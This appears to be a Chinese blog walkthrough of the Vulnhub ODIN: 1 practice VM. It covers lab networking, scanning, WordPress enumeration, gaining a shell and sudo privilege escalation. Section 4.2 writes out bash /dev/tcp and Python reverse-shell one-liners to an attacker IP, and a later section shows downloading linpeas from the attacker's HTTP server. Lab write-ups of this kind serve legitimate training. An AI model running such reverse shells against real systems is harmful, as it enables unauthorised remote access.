尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Vulnhub靶机ODIN:1渗透实战:从信息收集到root提权
打vulnhub靶机这件事我最大的一个感受是很多新手不是死在提权上而是死在最开始那几步。镜像下载好了导入虚拟机IP怎么都ping不通或者nmap扫出来了看着一堆端口却不知道往哪儿使劲。今天拿ODIN: 1这台靶机完整走一遍从vulnhub靶场搭建到最终拿到root把每一步为什么要这样做、常见坑在哪都拆开讲。这台机器在vulnhub上属于中等难度适合已经有基础但是想系统练一遍完整渗透流程的人如果你是刚接触vulnhub看完这篇也能少走不少弯路。整台打下来我的体感是它不考什么花哨的0day考的是信息收集够不够细、拿到shell之后能不能沉住气做本地枚举。说白了这就是一场情报决定成败的游戏。1. ODIN: 1是什么级别的靶机先聊我的单次通关路径1.1 靶机定位与难度判断在vulnhub官网搜索框里输入ODIN就能找到这个镜像下载体积不大解压后是一个可以直接导入VirtualBox的虚拟机镜像。这类靶机一般会在描述页标注难度和打靶目标ODIN: 1的定位很明确练习Web渗透和信息收集最终目标是拿到root权限。为什么说它适合拿来练手因为它的攻击面不算特别宽端口就那么几个不像一些高难度靶机一开扫出来十几个端口每一条都要花时间去验证。ODIN: 1属于那种线索链条很清晰但中间任何一个环节马虎了就会卡死的类型。我见过不少人在提权阶段卡了一下午回头一看其实是前面漏了一个信息导致后面完全没有头绪。另外说个选靶机的小经验看镜像文件的发布时间。太老的可能环境依赖一堆问题很多命令跑不起来太新的又可能涉及一些边缘技术不适合练基本功。ODIN: 1的镜像格式兼容性做得不错VirtualBox和VMware导入都不算费劲这个我后面会细说。1.2 我的通关路线和时间分配我实际打完这台机器从导入镜像到拿到root整体在正常不卡壳的情况下大约需要一到两个小时。我的路线是这么走的网络发现确认靶机IP这一步花几分钟端口和服务识别确定主攻方向约20分钟Web应用指纹识别和目录枚举找到缺口约30分钟通过Web漏洞拿到初始shell约20分钟本地枚举和信息收集发现提权线索约40分钟最耗时提权到root约10分钟整个过程里最让我印象深刻的不是最后那个root而是早期的一次误判。当时我扫到一个不起眼的端口一开始觉得它跟主线没关系直接忽略了。后来在其他信息里反复看到一个指向它的提示回头仔细看了才发现这个被忽略的点恰恰是拉开突破口的关键。这也是我想在文章开头就先强调的打靶机的时候不要凭经验或者第一印象去筛选端口和目录你以为的噪声里可能藏着最重要的情报。2. vulnhub靶场搭建网络模式选错后面全是空转2.1 导入镜像时最容易踩的低级错误很多人镜像下好了双击导入虚拟机开机后屏幕上一堆启动日志然后就开始卡住。最常见的问题其实不在靶机本身而在导入这个环节。第一下载源。有的镜像在国内网盘上能搜到但来源不明不排除被塞了私货的可能。建议直接去官网下载源文件有校验信息可以用来核对。这个习惯一定要养成从源头保证靶机的完整性。第二用VirtualBox还是VMware。我个人的习惯是vulnhub的靶机优先用VirtualBox跑。不是因为VMware不行而是很多镜像在打包时就是以VirtualBox为目标环境做适配的。如果你用VMware打开经常会遇到一个问题——网络适配器的型号被自动改成了e1000而靶机内部配置可能只对VirtualBox默认的Intel PRO/1000做了适配结果就是靶机能启动但网卡不工作。如果你确实只有VMware也不是不能跑导入后手动改一下虚拟机的网卡类型和网络模式多试几次通常也能通。但省事的做法还是直接装一个VirtualBox反正也是免费的。2.2 NAT、桥接、仅主机到底怎么选这个问题是新手问得最多的也是搭建环节最大的分水岭。我用一个表格把三种网络模式讲清楚。网络模式靶机能否访问外网宿主机能否访问靶机Kali能否访问靶机适用场景NAT能一般不能直接访问需要端口转发麻烦靶机需要下载东西时用桥接能取决于局域网环境同一局域网内可以真实局域网环境模拟仅主机不能能能挂同一网卡本地打靶首选我推荐的最稳组合是Kali和靶机都挂在同一个仅主机网卡上同时Kali再额外加一张NAT网卡用来上网查资料和下载exp。这样靶机完全隔离在本地网络里不会干扰家里或公司的局域网Kali也能在需要的时候连到外网。攻击机两张网卡靶机一张网卡这个拓扑很干净。如果你用的是VirtualBox在全局工具-网络里先创建一块仅主机的虚拟网卡然后分别给Kali和靶机都加到这个网卡上再把Kali原来的NAT网卡保留就搞定了。顺序别搞反先建网卡再分配给虚拟机不然会找不到目标网络。2.3 搭建完的快速自检清单镜像开起来之后不要急着开扫描器先花两分钟确认网络通不通。我自己有一套固定的自检顺序在Kali上执行ip addr确认攻击机IP记住自己的网段用arp-scan -l或者netdiscover -r 网段/24扫一下局域网里有哪些主机找到目标MAC对应的IP一般vulnhub靶机默认用DHCP自动获取IP开机就能拿到用ping 靶机IP确认基础连通性再用nmap -sn 靶机IP确认主机在线如果ping不通先别急着怀疑人生。到VirtualBox的控制台界面登录靶机看看启动日志里有没有网络相关的报错再手动执行dhclient重新获取IP。能进控制台的话也可以检查一下/etc/network/interfaces或NetworkManager的状态。靶机本身的账户密码一般会在vulnhub描述页里给或者在登录界面有提示找一下就行。这一步自检花不了几分钟但能帮你省掉后面好几个小时的无效扫描。我见过很多人在这一步翻车后直接归咎于镜像坏了其实80%的情况是网卡的硬件加速或者混杂模式没开对。3. 信息收集决定命运从全网段扫描到CMS指纹识别3.1 先扫网段再扫端口别一上来就搞全端口确认靶机在线之后进入正式的侦查阶段。我的顺序是先用nmap -T4 -sV -sC 靶机IP扫常见的1000个端口把服务版本和默认脚本跑一遍。不要上来就-p-扫所有端口那样虽然彻底但很浪费时间而且输出结果太多反而不好判断重点。ODIN: 1这台机器开放的服务不多常规端口一眼就看到头了一个Web服务一个SSH还有一个容易被忽略的端口。很多人看到Web和SSH就惯性思维直接往WordPress上冲后面那个端口根本没打开看过。这里想多说一句nmap的-sC不是可选项是必选项。默认脚本能帮你收集到很多手工看不出来的信息比如HTTP的robots.txt内容、SSH的版本和算法、某些服务的banner。这些信息单独看可能没什么但串在一起就能拼出一个完整的攻击画像。如果常规扫描结束后没有任何明显突破口再考虑全端口扫描。命令大概是nmap -p- -T4 --min-rate 5000 靶机IP把速率拉高两三分钟就能跑完。但ODIN: 1不需要走到这一步这是它的仁慈之处。3.2 Web指纹识别和目录爆破Web服务是我们最可能要正面突破的地方所以指纹识别一定要做细。先手工访问一下看页面长什么样再curl -I看响应头。响应头里的Server字段、X-Powered-By、生成的Cookie名全是线索。如果发现是WordPress站点那就简单了直接用wpscan --enumerate ap,at,tt 目标URL枚举插件、主题和用户。wpscan是WordPress靶机的标配工具跑一轮基本能拿到用户名列表和已知的漏洞插件列表。但注意wpscan输出的东西很多别看到插件名就激动先确认插件是不是真的启用再确认版本号。版本信息不一定能从页面直接看到有时候需要去插件目录下读取readme.txt才能拿到。这个细节很关键但很多人会跳过导致后面利用的时候版本对不上白白浪费时间。目录爆破也不能跳过。用gobuster dir -u 目标URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫一下常见路径。WordPress站点的重点路径就那么几个/wp-content/、/wp-includes/、/wp-admin/。如果目标开启了目录列表那基本上相当于把源码翻给你看了这时候就要瞪大眼睛在文件列表里找工作备份、sql导出、隐藏压缩包等敏感文件。我在打这台机器时就是从目录列表里看到一个不起眼的备份文件这个文件后来直接帮我拼凑出了登录凭据。如果没有做目录爆破这个信息就永远躺在那里后面怎么枚举都枚举不出来。3.3 一条容易忽略的线索邮件、用户名与版本号信息收集阶段最容易漏掉的是那些非技术类的人工痕迹。我在打ODIN: 1的过程中有几个信息点值得单独拎出来讲。第一个是用户名收集。WordPress站点的文章作者页面会暴露登录用户名wpscan也能枚举出来。很多新手收集到用户名之后只拿去试后台密码其实这个用户名在后面SSH登录、数据库密码复用、甚至提权的时候都可能用到。前期收集用户名的时候不要只记一个凡是页面上出现过的名字、邮箱前缀、作者昵称全部记下来。第二个是站点里的邮件地址。很多靶机会刻意在页面或者源码注释里放一个类似adminodin.local的地址这时候就要注意了这个地址往往暗示了域名的命名规则和用户名格式。你可以推测出完整的主机名、邮箱用户名甚至用它来尝试SSH登录。第三个是网站页脚、注释、JS文件里的版本号。这些版本号要跟nmap扫到的服务版本放在一起比对最终目的是构建一张版本-漏洞的对应表。这一步做得越细后面在漏洞利用阶段就越省事。我一直觉得信息收集的产出不应该只停留在脑子里要写下来。我把扫描结果、用户名列表、可疑路径、版本号全部贴在笔记里打靶过程中随时往里面补充信息。这样做的好处是卡壳的时候往回翻笔记往往能在之前记的一条不起眼的信息里找到线索。4. 打进Web层漏洞利用的临门一脚4.1 确认漏洞版本再动手别看到插件名就梭哈信息收集阶段如果发现了可用的插件或组件下一步就是确认它是不是真的有漏洞可以利用。盲目的做法是看到插件名马上打开搜索框找exploit然后复制粘贴跑一遍。结果大概率是报错或者利用失败然后你又得回头排查为什么失败一来一回浪费一小时。正确的做法是确认三件事——插件名称、插件版本、是否启用。插件版本可以从插件目录下的readme.txt、页面源码里的版本参数、或者通过wpscan的枚举结果里拿到。确定了版本之后再用searchsploit 插件名 版本号去本地漏洞库查对应的利用程序。如果本地没搜到也可以去网上漏洞库查但要注意时间线太老的exploit在现在的环境下经常跑不通。跑不通的时候别死磕换一条思路试试。比如目标站点的后台没有启用双重验证的情况下可以考虑用之前枚举到的用户名去做弱口令尝试。很多靶机的后台密码不会设得太复杂这种笨办法反而比找exploit可靠。我在ODIN: 1上实际的突破路径就是通过Web应用的一个已知漏洞配合searchsploit里的现成脚本拿到的reverse shell。关键不在于这个漏洞本身多高级而在于我前面确认了版本、确认了利用条件一次就成功了。4.2 从命令执行到反弹shell的稳定姿势一旦拿到了命令执行权限比如能通过Web上传PHP文件、编辑主题模板、或者某个参数能直接执行系统命令第一步千万别急着弹shell先执行个id和whoami看看当前权限再用pwd确认一下当前目录。这一步的目的很简单确认你的命令执行通道是可用的、输出的内容是你期望的。确认无误后再执行反弹shell。我常用的命令是bash -c bash -i /dev/tcp/攻击机IP/监听端口 01在Kali这边提前用nc -lvnp 监听端口起一个监听。注意监听端口不要选常用端口不然容易被其他连接干扰。如果 bash 反弹不上来可以试试Python反弹python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/sh,-i])还有一种情况是目标机器根本没有 bash 或者被限制在特定目录里这时候要考虑用目标环境已有的语言来反弹比如Perl或Ruby。总之反弹shell的姿势要备两三套一套不通马上换下一套。4.3 拿到shell之后先别急着提权很多人拿到www-data的shell就兴冲冲跑去提权这是我最不推荐的节奏。低权限shell最该做的是先落根把脚下的土踩实了再想爬高的事。首先把shell升级成交互式TTY。用python的pty模块python3 -c import pty;pty.spawn(/bin/bash)然后按CtrlZ把当前会话挂起在Kali本地执行stty raw -echo; fg回车之后再设置一下终端大小。这串命令可能看起来有点玄学其实原理就是把本地终端的原始模式转发给远程shell让远程的vim、su、top这类程序能正常显示界面。接下来做的应该是确认当前用户身份和权限id查看/etc/passwd里有哪些用户尤其是有登录shell的用户查看当前用户可以读写哪些文件找web目录、临时目录、home目录检查环境变量、历史命令记录history以及每个用户home下的.bash_history查看web目录里有没有数据库配置文件、日志文件我在拿到ODIN: 1的初始shell之后就是在web目录下翻出了一个配置文件里面写着数据库连接的明文密码。这个密码没有直接给root但给我后续的横向和提权提供了很大的帮助。5. 提权链路从低权限到root的完整复盘5.1 枚举脚本怎么选才不浪费时间本地枚举是提权前最重要的一步也是最容易让人迷失的一步。我的习惯是用自动化脚本做粗筛再靠人工去复核重点。常用的枚举工具有这么几个工具特点适用场景LinEnum.sh输出比较规整适合逐项查看快速了解当前系统状况linpeas.sh自动化程度高输出内容多大而全的初筛亮点会加粗标出pspy监控进程和计划任务怀疑有定时任务时可以盯一段时间很多靶机没有外网连接Kali里下载好的脚本要先传到靶机上。传文件的方式最常见的是在Kali本地起一个HTTP服务cd /usr/share/exploitdb/exploits python3 -m http.server 8080然后在靶机上用curl或wget下载curl -O http://攻击机IP:8080/linpeas.sh如果目标是完全隔离的环境连HTTP都连不通那就只能把命令一行一行手动敲进去。好在ODIN: 1的环境没那么多幺蛾子我直接把linpeas传上去跑了。linpeas跑完先别看那些红色的高亮就觉得全都能利用重点看几类信息当前用户的sudo权限、有哪些文件有SUID位、计划任务列表、以及用户可以写入但root会执行的脚本。这几类是提权的高频入口。5.2 决定成败的三个隐藏线索在ODIN: 1上最后帮我拿下root的线索并不是linpeas自动标出来的而是下面这三类容易被人忽略的地方。第一类是/var/mail下的邮件。很多机器上会有一个给root或者某个用户发的本地邮件里面可能包含系统配置、密码提醒、或者某个服务的初始化信息。很少有人会去看这个目录但它经常是白送的情报。我当时翻邮件时确实看到了跟业务相关的内容这验证了我在前面信息收集阶段拿到的一个猜测。第二类是用户home目录下的.bash_history。如果某个用户曾经在命令行里敲过密码那历史记录里就是明文。查看历史记录不需要太高权限普遍情况下/home/用户名/.bash_history是能读的。这条线索的优先级仅次于邮件。第三类是系统里残留的备份文件。很多人以为备份文件只会出现在web目录里其实系统的/opt、/var/backups、/tmp下也可能躺着压缩包。用find / -name *.bak -o -name *.zip -o -name *.tar.gz搜一遍经常有意外之喜。我最终就是通过一个备份文件里的信息把整个提权链路的最后一块拼图凑齐了。这三类线索的共性是它们都不是通过跑脚本能发现的必须人工去看、去翻、去联想。这也是为什么我一直强调提权阶段不能只依赖自动化工具该翻的地方一个都不能少。5.3 sudo、计划任务、内核漏洞三类提权路径的取舍拿到足够的信息之后提权路径通常有三条我在实战中的优先级是这样的。首选看sudo权限。执行sudo -l如果当前用户能免密执行某个命令赶紧去GTFOBins上查这个命令有没有提权姿势。像find、vim、less、more、cp这些常见的命令基本都有固定的逃逸方法。这条路径成功率最高、风险最小操作系统版本对它没有太大影响。次选看计划任务。用cat /etc/crontab或者systemctl list-timers查看有没有root定时运行的脚本。如果脚本所在的目录当前用户可以写入或者脚本本身没有加写保护那就可以通过修改脚本来提权。还有更隐蔽的一种情况脚本内部调用了某个不在绝对路径下的命令这就可以通过修改PATH环境变量来劫持。最后才是内核漏洞。我不建议一上来就搞内核提权一是因为内核漏洞要精确匹配发行版和内核版本匹配错了轻则提权失败重则直接把靶机打崩前面的努力全白费。二是因为靶机设计者在多数情况下不会故意留一个内核漏洞让你去提如果真的有那这台机器的重点就不在Web侧了。在ODIN: 1上我最终走的是sudo那条路干净利落一点风险都没有。这也再次印证了一个道理打靶过程中凡是能通过配置错误拿下的优先用配置错误因为这才是最接近真实场景的提权方式——真实业务环境里谁会在装了最新内核的服务器上留一个历史内核漏洞让你打6. 复盘清单下次打vulnhub能直接复用的经验打完收工梳理一份可以直接落地的清单也算是我自己多次打靶后的经验沉淀。第一搭建阶段先定网络拓扑再开虚拟机。Kali双网卡NAT 仅主机靶机单网卡仅主机这是最不容易出错的组合。网络不通时先检查网卡类型再检查DHCP别动不动就重装镜像。第二信息收集阶段把结果全部文字化。nmap输出、wpscan输出、目录枚举结果、用户名列表、可疑路径都记录下来。打不过去的时候回头翻记录比重新扫一遍效率高得多。第三漏洞利用前确认版本和利用条件。多花五分钟去验证能省后面一小时排查问题的时间。第四拿到初始shell先做三件事升级TTY、确认当前权限、翻web目录和用户目录下的配置文件。这三件事做完你对这台机器的掌握程度会上一个台阶。第五提权阶段别梭哈内核先看sudo再盯计划任务最后才考虑内核。同时不要漏了/var/mail、.bash_history、备份文件这三类人工线索。第六也是我想特别强调的一点每打完一台靶机花半小时写一份自己的writeup。不用发出来就用自己的话把打靶过程复述一遍哪里卡壳了、哪里是靠运气试出来的、哪里下次可以做得更快都写下来。一个月后回看你会发现自己对渗透流程的理解完全是另一个层次。vulnhub靶机跟真实渗透最大的区别在于你提前知道这台机器一定存在一个入口心态上不容易慌。但也正因为如此很多人会在虚拟环境里养成乱试的坏习惯——这个端口试一圈不行就换下一个反正不会触发真实告警。我个人的体会是把每一台靶机都当成一次真实的授权测试来打每一个操作都问自己一句我为什么这样做练出来的手感才会迁移到真实场景里。ODIN: 1这台机器不算难但该有的环节一个不少非常适合用来校准自己的打靶流程。
RELATED

相关推荐

NetApp、华为、3PAR、EMC存储运维实战:巡检、换盘与避坑指南

NetApp、华为、3PAR、EMC存储运维实战:巡检、换盘与避坑指南

存储运维这个方向,说难不难,说简单也真不简单。尤其是当你手里同时管着多套不同品牌的存储,比如NetApp、华为、HP 3PAR还有EMC,那种感觉就像同时面对四个性格完全不同的老伙计。NetApp的命令行里带着点点“专业人士的固执”&#…

📅 2026/10/1 11:53:01
python多线程并发测试过程

python多线程并发测试过程

进行多线程并发测试的过程。更新时间为2025年05月27日15点25分35秒, 作者是姑娘别秃头。这篇文章主要的内容是介绍了关于多线程并发的测试过程, 这样的资料是具有非常好的参考价值的, 希望能够帮助到大家, 如果文章中存在错误或没有考虑完全的情况, 希望读者能够不吝赐教。一、…

📅 2026/10/1 11:53:01
游戏控制器适配测试全解:从设备识别到可访问性优化

游戏控制器适配测试全解:从设备识别到可访问性优化

游戏可访问性测试里,控制器适配是最容易被低估的一环。手柄、键盘鼠标、无障碍控制器、自定义外设,每一种输入设备的差异,都可能让玩家卡在一个明明已经设计好的关卡前。我做了几年游戏测试,见过太多项目把“支持手柄”当成“控制…

📅 2026/10/1 11:53:01
MORE NEWS

更多资讯

📰

Python爬虫实战:从豆瓣短评到中文词云生成保姆级教程

前两天帮朋友处理了一个小需求:把一部电影在豆瓣上的最新短评爬下来,生成一张词云图看看观众都在聊什么。当时顺手写了个Python脚本,从requests爬评论,到jieba分词,再到wordcloud生成词云,前后加起来不到两…

📰

Vue + Electron 入门:从主进程IPC通信到打包避坑指南

Vue Electron 开发入门教程 如果你是一个Web前端开发者,想用自己熟悉的Vue技术栈做一款桌面应用,Electron几乎是最省事的路径。不用学新的UI框架,不用重新啃原生API,HTML、CSS、JavaScript 那套理论直接搬过来,再加上…

📰

前端Web组态软件选型实战:图元、协议、渲染与国产化深度解析

1. 为什么前端 Web 组态软件正在成为工业数字化落地的关键支点最近半年,我连续参与了三个中型制造企业的可视化监控平台升级项目,从最初被要求“做个大屏看数据”,到客户主动提出“要能拖拽改画面、连PLC不用写代码、运维人员自己就能调参数”…

📰

HER强化学习目标重标记:破解稀疏奖励难题的实用指南

1. 先搞清楚 hindsight 到底在解决什么问题 先别急着看代码,我需要先讲清楚为什么会有 hindsight 这个东西。如果你是刚接触强化学习不久的读者,大概率遇到过这种场景:写了个 DDPG 或者 PPO,在 Gym 的拿物体、推箱子这类任务上训练…

📰

连续时间傅里叶变换直觉指南:从波形到频谱的工程思维

这一章题目看着是教科书里的标准章节,但“连续时间傅里叶变换”这东西,恰恰是我见过最容易“背了一堆公式却不知道在干嘛”的内容。当年我学到这里,变换对、性质、收敛条件背得滚瓜烂熟,考试也没问题。直到工作后参与一个音频处理…

📰

普通显卡可训练的自研神经网络Waver-SNN-SSM

1. 项目概述:为什么一个“普通显卡可训练”的自研神经网络值得认真对待 “个人开源自研神经网络!普通显卡可训练!!”——这个标题乍看像极了技术社区里常见的流量型口号,但拆开来看,每个词都踩在当下AI开发…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬